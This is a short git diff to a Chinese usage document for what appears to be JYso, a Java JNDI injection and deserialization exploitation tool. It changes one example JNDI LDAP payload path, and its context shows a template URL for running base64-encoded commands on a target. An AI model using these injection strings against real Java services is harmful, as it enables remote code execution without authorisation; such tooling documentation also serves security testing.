diff --git a/JYso‐CN.md b/JYso‐CN.md
index fa22aaf..2500bd5 100644
--- a/JYso‐CN.md
+++ b/JYso‐CN.md
@@ -163,7 +163,7 @@ ldap://127.0.0.1:1389/[Basic or TomcatBypass]/command/Base64/[base64_encoded_cmd
 
 + JNDI-Injection-Exploit 用法：
 ```
-jndi:ldap://127.0.0.1:1389/[Basic or TomcatBypass]/[E-EX-EchoClass]
+jndi:ldap://127.0.0.1:1389/[Basic or TomcatBypass]/[E-EchoClass]
 ```
 
 + ysoserial